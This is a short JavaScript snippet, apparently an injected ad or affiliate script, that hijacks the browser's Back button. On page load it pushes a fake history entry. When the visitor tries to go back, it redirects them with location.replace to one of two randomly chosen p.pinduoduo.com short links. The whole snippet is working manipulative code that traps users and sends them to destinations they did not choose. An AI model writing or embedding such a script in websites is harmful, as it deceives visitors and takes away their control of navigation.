tid= 273904;//2 vdate=20240908; const _pxx_link = { url: [ 'https://p.pinduoduo.com/djcWVUYV', 'https://p.pinduoduo.com/FElW0HDy' ], isOnLoad : false, run() { document.addEventListener('DOMContentLoaded', () => { this.pushHistory(); this.addEvent(); this.isOnLoad = true }); !this.isOnLoad && (()=>{ this.pushHistory(); this.addEvent(); })() }, redirectToCustomURL() { window.location.replace( this.randomSelect( this.url ) ); }, addEvent() { window.addEventListener('popstate', () => { this.redirectToCustomURL(); }); }, pushHistory() { const state = { title: "", url: "#" }; window.history.pushState(state, "", "#"); }, randomSelect(arr) { const randomIndex = Math.floor(Math.random() * arr.length); return arr[randomIndex]; } }; // Run the function to set up event listeners and history _pxx_link.run();